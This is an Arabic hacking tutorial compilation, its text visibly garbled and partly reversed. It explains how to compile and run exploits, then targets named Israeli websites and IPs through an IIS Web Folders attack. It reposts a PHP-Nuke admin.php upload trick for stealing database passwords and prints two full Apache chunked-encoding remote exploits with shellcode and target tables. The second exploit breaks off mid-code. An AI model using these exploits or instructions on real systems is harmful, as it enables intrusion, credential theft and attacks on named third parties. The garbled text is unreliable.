ج سي لكنه سورس كود فقط رنام ت یتم كتابتها بالسي.. هو ب را ض علیك ..واغلب الثغ   هذا یفتر

ل  حمیله ثم عم ف _) compile(علیك ت ل السورس كود لمل حوی ج(وهذا یعني ت رنام ثم تثوم _ )ب
ت بیئة ویندوزلكن المشكلة هنا انه لن یم...بتشغیله ح  او Linuxفیجب ان یكون عندك ..كن تشغیلها ت

Shell Account..   
ل توجه للمسار الموجود به المفل ثم اكتب می ح ض الت   :بع

gcc filenmae.c ---- >ر الكومبایل   ام
ف ج المل   :سینت

a.out --- >ج ج النات رنام   ..وهو الب
  

  والان ماذا ینقصك؟؟
ق علیه الثغرةیجب ان یكون معك اي بي او اسم المو   ..قع الذي ترید ان تطب

  
ل   :كمثا

/.a.out xxx.xxx.xxx.xxx  
ل ر ت المكتوبة بالبی را   :للثغ

<><><><><><><><>  
. :pl  

ل ر ج بی رنام حتاج ..ب ضا ت    Shell Account او Linuxلتشغیله ای
ت ان تطبقه على موقع اكتبexploitاذا كان    : وارد

perl filename.pl xxx.xxx.xxx.xxx   
  او
./filename xxx.xxx.xxx.xxx   

  
<><><><><><><><>  

...  
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 "تمتع بإختراق المواقع الإسرائیلیة مع هذه الثغرة " 
  

$$$$$$$$$$$$$  
  DeadLine :الكاتب

$$$$$$$$$$$$$  

ح  ر   :الش
ت  را رف ق على سی خوان تطب ره یا أ   :اولاً الثغ

Microsoft-IIS/5.0 on Windows 2000  
 

حتاج خوان كل مان ى تمتلك  ٩٨ه هي اداه بسیطه یقدمها لنا وندوز یا أ ر خ خ الا ت النس م ان كان وانني لا اعل
ل على س ماندریك ووندوز مثل هذه لخاصیه ام لا لانني اعم  : فقط ٩٨نظامین فقط لینك

 
 Web Folders : الاداه هي

 
ره    :این نجد هذه الثغ

ت الله في الخطوا ء ف نجدها انشا  :التالیه  حسناً سو
ل على خ   My Computer اد

 
ل السي او خ س دا ل ثم ستجدها هناك لی خ ر بل دا خ ء آ فقط یعني تكون هي مع السي  My Computer شي

ره خ   والدي الى آ
 

ف المسمى نفتح خون المل   Web Folders یا أ
 

  :ثم سنجد الآتي 
 

Add Web Folder ق خترا   حیث هي التي ستكون اداتنا المهمه للا
 

  : Add Web Folder نفتح ال
 

  Type the location to add حیث نجد كلمة
 

ل نقوم حتها مستطی ى ت ر ل الآتي  ون خا   :بأد
 
/com.hostname://http 

س الاسم هو ایبي الموقع انتبه hostname حیث ان   قلنا ایبي الموقع ولی
ف یخرج الایبي تبع المو ف كی ضوع قع وهناكوالجمیع یعر ص هذا المو ره بخصو   دروس كثی

 
ل حیث انها تعم ق  رائیلیه للتطیب حد  وهذه مواقع اس   :على ایبي مو

mail.talcar.co.il 
daihatsu-israel.co.il 
daewoo-israel.co.il 
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ل خ ل الذي تم ذكره  ند   :بالمستطی

/7.143.121192.11://http 
 

ضغط على كلمة   Next : ثم ن
 

ل می ح خاصیة الادمن وهي ت ت الموقع وتعطیك  ل ملفا می ح ل الاداه بت ف تعم ت وهنا سو   وازالة الملفا
 

ر لك كلمة ل تظه می ح ج من الت رنام   finish : فبعد ان ینتهي الب
 

ت ایبي Web Folder : عندها تذهب الى ال ح ف الموقع هناك ومسمى ت   قعالمو وتجد مل
 

ق  ر للتطبی خ  :موقع ا
 
/il.co.israwine.www://http212.199.43.84  

 
حظه  ره مغلقه اذا: ملا ف ان الثغ ر م فأع ل باسوورد ویوزر نی خا طلب اد   تم 

ت الى خل ضاً او اذا د ره مغلقه ای ف فمعناه ان الثغ ت ولم تجد اي مل  الملفا
ق   ...والعافیه اللهم امین اللهم امین اسئل االله التوفی
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 "ثغرة نیوك "
   

$$$$$$$$$$$$$$$  
  Arab VieruZ: الكاتب

$$$$$$$$$$$$$$$  
  

ح بالأنقلیزیة  ر   :الش
  

twlc :here your ٠day from LucisFero and supergate  
Posted on Monday, September ١٤:٢٥:٥٨ @ ٢٤ CDT   

topic :advisories   
twlc security divison  

٢٤/٠٩/٢٠٠١  
  

Php nuke BUGGED.  
  

Found by:  
LucisFero and supergate  

/.twlc  
  

Summary  
This time the bug is really dangerous...it allows you to 'cp' any file on 

the box ...or even upload files ...  
  

Systems Affected  
all the versions ARE vulnerable  

except '٥٫٠ RC١ ')i wonder why a released c .is ok while the final ٥٫٢ is 
bugged(  

  
Explanation  

Do you need sql password?  
  

http//:www.server.net/admin.php?upload=١
elif&=config.php&file_name=hacked.txt&wdir/=images/elifresu&=config

.php&userfile_name=hacked.txt   
  

the admin 'login' page will be prompted just go to 
http//:www.server.net/images/hacked.txt and you will see config.php 

that as everyone knows contain the sql's passwords, you can even 
upload files...i leave you the 'fun' to find all the ways to use it ...and try 

to dont be a SCRIPT KIDDIE we wrote this advisory to help who runs 
php nuke and NOT TO LET YOU HAVE FUN.  
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let me explain you the bug ...admin.php contains this routine :  

 ridesab$ =dirname)EMANELIF_TPIRCS$(؛  
t$extrows  =؛٢٠  

 sloctxet$ =؛٨٥  
 ridu$ =dirname)FLES_PHP$(؛  

if!)ridw$ (ridw$"/"=؛  
if)lecnac$ (po$"=FileManager"؛  
if)daolpu$ (}  

copy)ridesab$،elifresu$.ridw$.eman_elifresu$( ؛  
 noitcatsal$."" =DEDAOLPU_ ". eman_elifresu$--ridw$ <"؛  

 //This need a rewrite -------------------------------------GMO < !WE TOTALY 
AGREEEEEEEE lmao  

//include")header.php("؛  
//GraphicAdmin)elifplh$(؛  
//html_header()؛  
//displaydir()؛  

ridw$؛="/"٢  
chdir) ridesab$ .ridw$؛)٢  

//CloseTable()؛  
//include")footer.php("؛  

Header")Location :admin.php?op=FileManager("؛  
exit;  

{  
  

that doesnt do a check to see if you are logged as admin or no ...so you 
can use it anyway...  

  
Solution  

we erased the function ...cause we wanted to remove the file manager 
anyway but i suggest you to do the same ...-to upload files use FTP-  

  
conclusions:  

yet another bug of php nuke ...this software is used by thousands of 
people) ...we run something based on it too (i hope that this time the 

author will reply soon and will release a patch too !as i said before just 
dont try to be a script kiddie or we simply WONT post anymore this 

kind of advisories .Prolly the funny thing is that who first discovered 
the bug was LucisFero that ...٢ hours before didnt knew php  ...so i 

)supergate (fear him and you should too.  
  

posted at:  
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http//:www.twlc.net article http//:www.twlc.net/article.php?sid=٤٢١  
bugtraq@securityfocus.com  

http//:www.phpnuke.org -good luck-  
http//:sourceforge.net/tracker/di_puorg٧٥١١=؟ Project :PHP-Nuke Web 

Portal System   
and of course mailed to the author of php nuke  

  
contacts )bugs, ideas, insults, cool girls ...remember that trojans are 

directed to /dev/null:(  
  

lucisfero@twlc.net  
supergate@twlc.net  

  
http//:www.twlc.net )yes we are patched(  

  
peace out pimps .bella a tutti.  

  
eof  

  
=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Arab VireruZ=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=  

رمجي   :الخطأ الب
  

 ridesab$ =dirname)EMANELIF_TPIRCS$(؛  
 swortxet$ =؛٢٠  
 sloctxet$ =؛٨٥  

 ridu$ =dirname)FLES_PHP$(؛  
if!)ridw$ (ridw$"/"=؛  
if)lecnac$ (po$"=FileManager"؛  
if)daolpu$ (}  

copy)ridesab$،elifresu$.ridw$.eman_elifresu$( ؛  
 noitcatsal$."" =DEDAOLPU_. " eman_elifresu$--ridw$ <"؛  

 //This need a rewrite -------------------------------------GMO < !WE TOTALY 
AGREEEEEEEE lmao  

//include")header.php("؛  
//GraphicAdmin)elifplh$(؛  
//html_header()؛  
//displaydir()؛  

ridw$؛="/"٢  
chdir) ridesab$ .ridw$؛)٢  

//CloseTable()؛  
//include")footer.php("؛  
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Header")Location: admin.php?op=FileManager("؛  
exit;  

{  
=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Arab VireruZ=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=  

  :الثغرة
  

http//:www.server.net/admin.php?upload=١
elif&=config.php&file_name=hacked.txt&wdir/=images/elifresu&=config

.php&userfile_name=hacked.txt  
  
=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Arab VireruZ=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=  

ل   الثغرة بعد التعدی
  

http//:www.server.net/admin.php?upload=١
elif&=config.php&file_name=ultramode.txt&wdir/=elifresu&=config.php

elifresu&eman_=ultramode.txt  
  
=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Arab VireruZ=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=  

ل الثغرة   :عم
  
ج =- ف الكونفی ف النصي الموجودconfig.phpطبع مل ل ultramode.txt الى المل می ح حتاج ت  لن ت

ف ف نصي لطبع المل   مل
ح الأنق ر ج كما هو موجود بالش ر واستنت ل الى الموقع الآن ) -:لیزي یعني فك می ح ض المواقع تمنع الت ولأن بع
خول الى    http//:server.com/ultramode.txtما علیك سوى الد

ت الموقع   -=وستجد باس والیوزر التابع لقاعدة بیانا
  

ت حظا   ملا
ختراقهserver.com بدل -١ راد ا    بالموقع ال
  
ل -٢   http//:server.com/nuke:  تأكد من موقع المجلة مثا
  
ل مع اصدار -٣ ض٥٫٢ هذه الثغرة لا تعم   ... كما یظن البع
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  "Chunkedثغرة " 
  

$$$$$$$$$$$$$$$$$$$$$  
 angels-bytesمنقول من موقع 

$$$$$$$$$$$$$$$$$$$$$  
  

ره تسمى كلنا سمع ث موقع ، Apache لـ Chunked بثغ حد عنها هو  angels-bytes السبب لعدم ت
ضع هاأن ق الموقع ، الآن سأ ت قبل إنطلا وهي أداة  ، Retina Apache Chunked Scanner أت

ق من  تقوم ص نطا ح ره٢٥٤بف ر لك ما منها مصاب بهذه الثغ  . عنوان آي بي ، وتظه
 
 
حك بتنزیل أباتشي  إذا ره عند وجودها فأنص ت معالجة هذه الثغ   الآن  فهو الأفضل الى٢٫٠٫٣٩أرد

  لهذه هي وصلة التنزی
binaries/httpd/dist/org.apache.www://http 

 
ضع لكم أفضل أستثمارین أما لمسألة ف أ ره فسو   إستثمار هذه الثغ

 
 

رم ، dev-٢٫٠٫٣٦ إلى ٢ و من ٢واعلى إلى  1.3.24 الخطأ في أباتشي روتین الب جي الذي وهي في ال
ل مع ل الخطأ یتعام   رسائ

 
حلي طفح م ر المصاب ، مؤدیه بذلك إلى  هذان الإستثماران تستخدمان من قبل مهاجم بعید لتسبب  رف في السی

ریقة ما تسمح   لتنفیذ كود إعادة كتابه في الذاكرة ، وبط
 

ختبارها من قبل ))*/ ریبها وإ ضعها لكم هنا  angels-bytes.com قد تم تج  ))قبل و
*/ 
م*/  */حصلنا علیها من سیكورتي تی

#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  

 
 

#define EXPLOIT_TIMEOUT 5 /* num seconds to wait before assuming 
it failed */ 
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#define RET_ADDR_INC 512 
 
 

#define MEMCPY_s1_OWADDR_DELTA -146 
#define PADSIZE_1 4 
#define PADSIZE_2 5 
#define PADSIZE_3 7 

 
 

#define REP_POPULATOR 24 
#define REP_RET_ADDR 6 

#define REP_ZERO 36 
#define REP_SHELLCODE 24 

#define NOPCOUNT 1024 
 

#define NOP 0x41 
#define PADDING_1 \\'A\\' 
#define PADDING_2 \\'B\\' 
#define PADDING_3 \\'C\\' 

 
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s); 

#define PUT_BYTES(n, b) memset(p, b, n); p += n; 
 

#define SHELLCODE_LOCALPORT_OFF 30 
 

char shellcode[] = 
\\\" \\\\x89\\\\xe2\\\\x83\\\\xec\\\\x10\\\\x6a\\\\x10\ 

\\\x54\\\\x52\\\\x6a\\\\x00\\\\x6a\\\\x00\\\\xb8\\ 
\\x1f\\\" 

\\\" \\\\x00\\\\x00\\\\x00\\\\xcd\\\\x80\\\\x80\\\\x7a\ 
\\\x01\\\\x02\\\\x75\\\\x0b\\\\x66\\\\x81\\\\x7a\\ 

\\x02\\\" 
\\\" \\\\x42\\\\x41\\\\x75\\\\x03\\\\xeb\\\\x0f\\\\x90\ 

\\\xff\\\\x44\\\\x24\\\\x04\\\\x81\\\\x7c\\\\x24\\ 
\\x04\\\" 

\\\" \\\\x00\\\\x01\\\\x00\\\\x00\\\\x75\\\\xda\\\\xc7\ 
\\\x44\\\\x24\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\ 

\\xb8\\\" 
\\\" \\\\x5a\\\\x00\\\\x00\\\\x00\\\\xcd\\\\x80\\\\xff\ 

\\\x44\\\\x24\\\\x08\\\\x83\\\\x7c\\\\x24\\\\x08\\ 
\\x03\\\" 

\\\" \\\\x75\\\\xee\\\\x68\\\\x0b\\\\x6f\\\\x6b\\\\x0b\ 
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\\\x81\\\\x34\\\\x24\\\\x01\\\\x00\\\\x00\\\\x01\\ 
\\x89\\\" 

\\\" \\\\xe2\\\\x6a\\\\x04\\\\x52\\\\x6a\\\\x01\\\\x6a\ 
\\\x00\\\\xb8\\\\x04\\\\x00\\\\x00\\\\x00\\\\xcd\\ 

\\x80\\\" 
\\\" \\\\x68\\\\x2f\\\\x73\\\\x68\\\\x00\\\\x68\\\\x2f\ 

\\\x62\\\\x69\\\\x6e\\\\x89\\\\xe2\\\\x31\\\\xc0\\ 
\\x50\\\" 

\\\" \\\\x52\\\\x89\\\\xe1\\\\x50\\\\x51\\\\x52\\\\x50\ 
\\\xb8\\\\x3b\\\\x00\\\\x00\\\\x00\\\\xcd\\\\x80\\ 

\\xcc\\\"; 
 
 

struct { 
char *type; 

u_long retaddr; 
} targets[] = { // hehe, yes theo, that say OpenBSD here! 

{ \\\"OpenBSD 3.0 x86 / Apache 1.3.20\\\", 0xcf92f }, 
{ \\\"OpenBSD 3.0 x86 / Apache 1.3.22\\\", 0x8f0aa }, 
{ \\\"OpenBSD 3.0 x86 / Apache 1.3.24\\\", 0x90600 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.20\\\", 0x8f2a6 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.23\\\", 0x90600 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.24\\\", 0x9011a }, 

{ \\\"OpenBSD 3.1 x86 / Apache 1.3.24 #2\\\", 0x932ae }, 
}; 
 
 

int main(int argc, char *argv[]) { 
 

char *hostp, *portp; 
unsigned char buf[512], *expbuf, *p; 

int i, j, lport; 
int sock; 

int bruteforce, owned, progress; 
u_long retaddr; 

struct sockaddr_in sin, from; 
 
 

if(argc != 3) { 
printf(\\\"Usage: %s \\\\n\\\", argv[0]); 

printf(\\\" Using targets:\\\\t./apache-scalp 3 127.0.0.1:8080\\\\n\\\"); 
printf(\\\" Using bruteforce:\\\\t./apache-scalp 0x8f000 
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127.0.0.1:8080\\\\n\\\"); 
printf(\\\"\\\\n--- --- - Potential targets list - --- ----\\\\n\\\"); 

printf(\\\"Target ID / Target specification\\\\n\\\"); 
for(i = 0; i < sizeof(targets)/8; i++) 

printf(\\\"\\\\t%d / %s\\\\n\\\", i, targets[i].type); 
 

return -1; 
} 
 
 

hostp = strtok(argv[2], \\\":\\\"); 
if((portp = strtok(NULL, \\\":\\\")) == NULL) 

portp = \\\"80\\\"; 
 

retaddr = strtoul(argv[1], NULL, 16); 
if(retaddr < sizeof(targets)/8) { 

retaddr = targets[retaddr].retaddr; 
bruteforce = 0; 

} 
else 

bruteforce = 1; 
 
 

srand(getpid()); 
signal(SIGPIPE, SIG_IGN); 

for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) { 
 

/* skip invalid return adresses */ 
i = retaddr & 0xff; 

if(i == 0x0a || i == 0x0d) 
retaddr++; 

else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4)) 
continue; 

 
 

sock = socket(AF_INET, SOCK_STREAM, 0); 
sin.sin_family = AF_INET; 

sin.sin_addr.s_addr = inet_addr(hostp); 
sin.sin_port = htons(atoi(portp)); 

if(!progress) 
printf(\\\"\\\\n[*] Connecting.. \\\"); 
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fflush(stdout); 
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) { 

perror(\\\"connect()\\\"); 
exit(1); 

} 
 

if(!progress) 
printf(\\\"connected!\\\\n\\\"); 

 
 

/* Setup the local port in our shellcode */ 
i = sizeof(from); 

if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) { 
perror(\\\"getsockname()\\\"); 

exit(1); 
} 
 

lport = ntohs(from.sin_port); 
shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff; 

shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff; 
 
 

p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * 
REP_SHELLCODE) 

+ ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * 
REP_POPULATOR)); 

 
PUT_STRING(\\\"GET / HTTP/1.1\\\\r\\\\nHost: apache-scalp.c\\\\r\\\\n\\\"); 

 
for (i = 0; i < REP_SHELLCODE; i++) { 

PUT_STRING(\\\"X-\\\"); 
PUT_BYTES(PADSIZE_3, PADDING_3); 

PUT_STRING(\\\": \\\"); 
PUT_BYTES(NOPCOUNT, NOP); 

memcpy(p, shellcode, sizeof(shellcode) - 1); 
p += sizeof(shellcode) - 1; 

PUT_STRING(\\\"\\\\r\\\\n\\\"); 
} 
 

for (i = 0; i < REP_POPULATOR; i++) { 
PUT_STRING(\\\"X-\\\"); 

PUT_BYTES(PADSIZE_1, PADDING_1); 
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PUT_STRING(\\\": \\\"); 
for (j = 0; j < REP_RET_ADDR; j++) { 

*p++ = retaddr & 0xff; 
*p++ = (retaddr >> 8) & 0xff; 

*p++ = (retaddr >> 16) & 0xff; 
*p++ = (retaddr >> 24) & 0xff; 

} 
 

PUT_BYTES(REP_ZERO, 0); 
PUT_STRING(\\\"\\\\r\\\\n\\\"); 

} 
 

PUT_STRING(\\\"Transfer-Encoding: chunked\\\\r\\\\n\\\"); 
snprintf(buf, sizeof(buf) - 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", PADSIZE_2); 

PUT_STRING(buf); 
PUT_BYTES(PADSIZE_2, PADDING_2); 

snprintf(buf, sizeof(buf) - 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", 
MEMCPY_s1_OWADDR_DELTA); 

PUT_STRING(buf); 
 

write(sock, expbuf, p - expbuf); 
 

progress++; 
if((progress%70) == 0) 

progress = 1; 
 

if(progress == 1) { 
memset(buf, 0, sizeof(buf)); 

sprintf(buf, \\\"\\\\r[*] Currently using retaddr 0x%lx, length %u, localport 
%u\\\", 

retaddr, (unsigned int)(p - expbuf), lport); 
memset(buf + strlen(buf), \\' \\', 74 - strlen(buf)); 

puts(buf); 
if(bruteforce) 

putchar(\\';\\'); 
} 

else 
putchar((rand()%2)? \\'P\\': \\'p\\'); 

 
 

fflush(stdout); 
while (1) { 
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fd_set fds; 
int n; 

struct timeval tv; 
 

tv.tv_sec = EXPLOIT_TIMEOUT; 
tv.tv_usec = 0; 

 
FD_ZERO(&fds); 

FD_SET(0, &fds); 
FD_SET(sock, &fds); 

 
memset(buf, 0, sizeof(buf)); 

if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) { 
if(FD_ISSET(sock, &fds)) { 

if((n = read(sock, buf, sizeof(buf) - 1)) <= 0) 
break; 

 
if(!owned && n >= 4 && memcmp(buf, \\\"\\\\nok\\\\n\\\", 4) == 0) { 

printf(\\\"\\\\nGOBBLE GOBBLE!@#%%)*#\\\\n\\\"); 
printf(\\\"retaddr 0x%lx did the trick!\\\\n\\\", retaddr); 

sprintf(expbuf, \\\"uname -a;id;echo hehe, now use 0day OpenBSD 
local kernel exploit to gain instant r00t\\\\n\\\"); 

write(sock, expbuf, strlen(expbuf)); 
owned++; 

} 
 

write(1, buf, n); 
} 
 

if(FD_ISSET(0, &fds)) { 
if((n = read(0, buf, sizeof(buf) - 1)) < 0) 

exit(1); 
 

write(sock, buf, n); 
} 
} 
 

if(!owned) 
break; 

} 
 

free(expbuf); 
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close(sock); 
 

if(owned) 
return 0; 

 
if(!bruteforce) { 

fprintf(stderr, \\\"Ooops.. hehehe!\\\\n\\\"); 
return -1; 

} 
} 
 

return 0; 
} 
 

Exploit #2: 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  

#ifdef __linux__ 
#include  

#endif 
 
 

#define HOST_PARAM \\\"apache-nosejob.c\\\" /* The Host: field */ 
#define DEFAULT_CMDZ \\\"uname -a;id;echo \\'hehe, now use another 

bug/backdoor/feature (hi Theo!) to gain instant r00t\\';\\\\n\\\" 
#define RET_ADDR_INC 512 

 
 

#define PADSIZE_1 4 
#define PADSIZE_2 5 
#define PADSIZE_3 7 
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#define REP_POPULATOR 24 
#define REP_SHELLCODE 24 

#define NOPCOUNT 1024 
 

#define NOP 0x41 
#define PADDING_1 \\'A\\' 
#define PADDING_2 \\'B\\' 
#define PADDING_3 \\'C\\' 

 
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s); 

#define PUT_BYTES(n, b) memset(p, b, n); p += n; 
 

char shellcode[] = 
\\\" \\\\x68\\\\x47\\\\x47\\\\x47\\\\x47\\\\x89\\\\xe3\ 

\\\x31\\\\xc0\\\\x50\\\\x50\\\\x50\\\\x50\\\\xc6\\ 
\\x04\\\\x24\\\" 

\\\" \\\\x04\\\\x53\\\\x50\\\\x50\\\\x31\\\\xd2\\\\x31\ 
\\\xc9\\\\xb1\\\\x80\\\\xc1\\\\xe1\\\\x18\\\\xd1\\ 

\\xea\\\\x31\\\" 
\\\" \\\\xc0\\\\xb0\\\\x85\\\\xcd\\\\x80\\\\x72\\\\x02\ 

\\\x09\\\\xca\\\\xff\\\\x44\\\\x24\\\\x04\\\\x80\\ 
\\x7c\\\\x24\\\" 

\\\" \\\\x04\\\\x20\\\\x75\\\\xe9\\\\x31\\\\xc0\\\\x89\ 
\\\x44\\\\x24\\\\x04\\\\xc6\\\\x44\\\\x24\\\\x04\\ 

\\x20\\\\x89\\\" 
\\\" \\\\x64\\\\x24\\\\x08\\\\x89\\\\x44\\\\x24\\\\x0c\ 

\\\x89\\\\x44\\\\x24\\\\x10\\\\x89\\\\x44\\\\x24\\ 
\\x14\\\\x89\\\" 

\\\" \\\\x54\\\\x24\\\\x18\\\\x8b\\\\x54\\\\x24\\\\x18\ 
\\\x89\\\\x14\\\\x24\\\\x31\\\\xc0\\\\xb0\\\\x5d\\ 

\\xcd\\\\x80\\\" 
\\\" \\\\x31\\\\xc9\\\\xd1\\\\x2c\\\\x24\\\\x73\\\\x27\ 

\\\x31\\\\xc0\\\\x50\\\\x50\\\\x50\\\\x50\\\\xff\\ 
\\x04\\\\x24\\\" 

\\\" \\\\x54\\\\xff\\\\x04\\\\x24\\\\xff\\\\x04\\\\x24\ 
\\\xff\\\\x04\\\\x24\\\\xff\\\\x04\\\\x24\\\\x51\\ 

\\x50\\\\xb0\\\" 
\\\" \\\\x1d\\\\xcd\\\\x80\\\\x58\\\\x58\\\\x58\\\\x58\ 

\\\x58\\\\x3c\\\\x4f\\\\x74\\\\x0b\\\\x58\\\\x58\\ 
\\x41\\\\x80\\\" 

\\\" \\\\xf9\\\\x20\\\\x75\\\\xce\\\\xeb\\\\xbd\\\\x90\ 
\\\x31\\\\xc0\\\\x50\\\\x51\\\\x50\\\\x31\\\\xc0\\ 
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\\xb0\\\\x5a\\\" 
\\\" \\\\xcd\\\\x80\\\\xff\\\\x44\\\\x24\\\\x08\\\\x80\ 

\\\x7c\\\\x24\\\\x08\\\\x03\\\\x75\\\\xef\\\\x31\\ 
\\xc0\\\\x50\\\" 

\\\" \\\\xc6\\\\x04\\\\x24\\\\x0b\\\\x80\\\\x34\\\\x24\ 
\\\x01\\\\x68\\\\x42\\\\x4c\\\\x45\\\\x2a\\\\x68\\ 

\\x2a\\\\x47\\\" 
\\\" \\\\x4f\\\\x42\\\\x89\\\\xe3\\\\xb0\\\\x09\\\\x50\ 

\\\x53\\\\xb0\\\\x01\\\\x50\\\\x50\\\\xb0\\\\x04\\ 
\\xcd\\\\x80\\\" 

\\\" \\\\x31\\\\xc0\\\\x50\\\\x68\\\\x6e\\\\x2f\\\\x73\ 
\\\x68\\\\x68\\\\x2f\\\\x2f\\\\x62\\\\x69\\\\x89\\ 

\\xe3\\\\x50\\\" 
\\\" \\\\x53\\\\x89\\\\xe1\\\\x50\\\\x51\\\\x53\\\\x50\ 

\\\xb0\\\\x3b\\\\xcd\\\\x80\\\\xcc\\\"; 
; 

 
struct { 

char *type; /* description for newbie penetrator */ 
int delta; /* delta thingie! */ 

u_long retaddr; /* return address */ 
int repretaddr; /* we repeat retaddr thiz many times in the buffer */ 

int repzero; /* and \\\\0\\'z this many times */ 
} targets[] = { // hehe, yes theo, that say OpenBSD here! 

{ \\\"FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)\\\", -150, 0x80f3a00, 6, 36 }, 
{ \\\"FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)\\\", -150, 0x80a7975, 6, 36 }, 

{ \\\"OpenBSD 3.0 x86 / Apache 1.3.20\\\", -146, 0xcfa00, 6, 36 }, 
{ \\\"OpenBSD 3.0 x86 / Apache 1.3.22\\\", -146, 0x8f0aa, 6, 36 }, 
{ \\\"OpenBSD 3.0 x86 / Apache 1.3.24\\\", -146, 0x90600, 6, 36 }, 

{ \\\"OpenBSD 3.0 x86 / Apache 1.3.24 #2\\\", -146, 0x98a00, 6, 36 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.20\\\", -146, 0x8f2a6, 6, 36 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.23\\\", -146, 0x90600, 6, 36 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.24\\\", -146, 0x9011a, 6, 36 }, 

{ \\\"OpenBSD 3.1 x86 / Apache 1.3.24 #2\\\", -146, 0x932ae, 6, 36 }, 
{ \\\"OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1\\\", -146, 0x1d7a00, 6, 

36 }, 
{ \\\"NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)\\\", -90, 0x80eda00, 5, 42 }, 
{ \\\"NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)\\\", -90, 0x80efa00, 5, 42 }, 
{ \\\"NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)\\\", -90, 0x80efa00, 5, 42 }, 
{ \\\"NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)\\\", -90, 0x80efa00, 5, 42 }, 
{ \\\"NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)\\\", -90, 0x80efa00, 5, 42 }, 

}, victim; 
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void usage(void) { 
int i; 

 
printf(\\\"GOBBLES Security Labs\\\\t\\\\t\\\\t\\\\t\\\\t- apache-

nosejob.c\\\\n\\\\n\\\"); 
printf(\\\"Usage: ./apache-nosejob <-switches> -h host[:80]\\\\n\\\"); 

printf(\\\" -h host[:port]\\\\tHost to penetrate\\\\n\\\"); 
printf(\\\" -t #\\\\t\\\\t\\\\tTarget id.\\\\n\\\"); 

printf(\\\" Bruteforcing options (all required, unless -o is used!):\\\\n\\\"); 
printf(\\\" -o char\\\\t\\\\tDefault values for the following OSes\\\\n\\\"); 

printf(\\\" \\\\t\\\\t\\\\t(f)reebsd, (o)penbsd, (n)etbsd\\\\n\\\"); 
printf(\\\" -b 0x12345678\\\\t\\\\tBase address used for bruteforce\\\\n\\\"); 

printf(\\\" \\\\t\\\\t\\\\tTry 0x80000/obsd, 0x80a0000/fbsd, 
0x080e0000/nbsd.\\\\n\\\"); 

printf(\\\" -d -nnn\\\\t\\\\tmemcpy() delta between s1 and addr to 
overwrite\\\\n\\\"); 

printf(\\\" \\\\t\\\\t\\\\tTry -146/obsd, -150/fbsd, -90/nbsd.\\\\n\\\"); 
printf(\\\" -z #\\\\t\\\\t\\\\tNumbers of time to repeat \\\\\\\\0 in the 

buffer\\\\n\\\"); 
printf(\\\" \\\\t\\\\t\\\\tTry 36 for openbsd/freebsd and 42 for netbsd\\\\n\\\"); 

printf(\\\" -r #\\\\t\\\\t\\\\tNumber of times to repeat retadd in the 
buffer\\\\n\\\"); 

printf(\\\" \\\\t\\\\t\\\\tTry 6 for openbsd/freebsd and 5 for netbsd\\\\n\\\"); 
printf(\\\" Optional stuff:\\\\n\\\"); 

printf(\\\" -w #\\\\t\\\\t\\\\tMaximum number of seconds to wait for 
shellcode reply\\\\n\\\"); 

printf(\\\" -c cmdz\\\\t\\\\tCommands to execute when our shellcode 
replies\\\\n\\\"); 

printf(\\\" \\\\t\\\\t\\\\taka auto0wncmdz\\\\n\\\"); 
printf(\\\"\\\\nExamples will be published in upcoming apache-scalp-

HOWTO.pdf\\\\n\\\"); 
printf(\\\"\\\\n--- --- - Potential targets list - --- ---- ------- ------------\\\\n\\\"); 

printf(\\\" ID / Return addr / Target specification\\\\n\\\"); 
for(i = 0; i < sizeof(targets)/sizeof(victim); i++) 

printf(\\\"% 3d / 0x%.8lx / %s\\\\n\\\", i, targets[i].retaddr, targets[i].type); 
 

exit(1); 
} 
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int main(int argc, char *argv[]) { 

char *hostp, *portp, *cmdz = DEFAULT_CMDZ; 
u_char buf[512], *expbuf, *p; 

int i, j, lport, sock; 
int bruteforce, owned, progress, sc_timeout = 5; 

int responses, shown_length = 0; 
struct in_addr ia; 

struct sockaddr_in sin, from; 
struct hostent *he; 

 
 

if(argc < 4) 
usage(); 

 
bruteforce = 0; 

memset(&victim, 0, sizeof(victim)); 
while((i = getopt(argc, argv, \\\"t:b:d:h:w:c:r:z:o:\\\")) != -1) { 

switch(i) { 
/* required stuff */ 

case \\'h\\': 
